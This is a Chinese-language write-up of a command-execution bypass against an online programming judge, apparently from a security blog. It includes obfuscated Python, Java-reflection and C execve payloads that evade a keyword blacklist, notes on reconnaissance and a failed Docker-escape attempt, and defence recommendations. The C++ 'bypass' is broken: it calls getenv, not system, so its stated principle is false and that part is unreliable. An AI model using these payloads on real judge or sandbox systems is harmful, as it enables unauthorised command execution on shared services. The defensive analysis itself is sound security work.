绕过在线编程系统命令执行限制的技术分析

漏洞背景

本文分析了一个在线编程系统（类似PTA系统）的命令执行漏洞，该系统允许用户提交代码解决编程问题，但存在绕过安全限制执行系统命令的可能性。

漏洞发现过程

1. 通过信息收集定位到目标系统（在线编程评测系统）
2. 系统允许用户注册并提交代码解题
3. 预期行为是用户提交代码输出特定结果（如"hello world"）
4. 实际发现可以通过代码构造执行系统命令

Python绕过技术

初始尝试

__import__('os').system('ls /')

被静态检测机制拦截，原因是直接使用了os模块

绕过方法

1. 字符串拼接：

my_os = 'o' + 's'
__import__(my_os).system('ls /')

2. 编码绕过：
   可以使用其他编码方式构造敏感字符串

检测机制分析

• 静态黑名单检测（非动态检测）
• 在代码执行前检查特定危险关键字
• 仅拦截特定关键字而非所有危险操作

其他语言绕过技术

Java绕过

import java.util.Scanner;
public class Main {
    public static void main(String[] args) throws Exception {
        Class<?> runtimeClass = Class.forName(new String(new byte[] { 
            106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 
        }));
        Object runtimeInstance = runtimeClass.getMethod(new String(new byte[] { 
            103, 101, 116, 82, 117, 110, 116, 105, 109, 101 
        })).invoke(null);
        Process process = (Process) runtimeClass.getMethod(new String(new byte[] { 
            101, 120, 101, 99 
        }), String.class).invoke(runtimeInstance, new String(new byte[] { 
            108, 115 
        }));
        new Scanner(process.getInputStream()).useDelimiter("\\A").forEachRemaining(System.out::println);
    }
}

原理：使用字节数组动态构造敏感字符串（如java.lang.Runtime、getRuntime、exec等）

C语言绕过

#include <unistd.h>
int main() {
    char *args[] = {"/bin/sh", "-c", "ls /", NULL};
    execve("/bin/sh", args, NULL);
    return 0;
}

原理：使用execve系统调用而非常见的system函数

C++绕过

#include <cstdlib>
int main() {
    char s[] = {115, 121, 115, 116, 101, 109, 0};
    int (*func)(const char*) = (int (*)(const char*))std::getenv("PATH");
    *(void**)&func = (void*)std::getenv;
    return func("ls /");
}

原理：通过修改函数指针地址，伪装system函数

环境分析与限制

1. 权限检查：

   • whoami显示低权限用户
   • 许多常规命令无法执行

2. 容器环境：

   • 存在/.dockerenv文件
   • 确认是Docker环境
   • Docker逃逸尝试失败（权限不足或环境严格受限）

防御建议

1. 改进检测机制：

   • 实现动态分析而非静态关键字检测
   • 监控进程创建和系统调用

2. 沙箱强化：

   • 使用更严格的容器隔离
   • 限制系统调用
   • 降低权限

3. 输入验证：

   • 对用户代码进行更全面的语法分析
   • 限制危险API的使用

4. 运行时监控：

   • 检测异常行为（如尝试执行shell命令）

结论

该漏洞展示了在线编程系统中命令执行限制被绕过的典型案例，虽然最终获得的权限有限且无法逃逸容器环境，但仍揭示了此类系统的潜在安全风险。防御此类攻击需要多层安全措施的组合。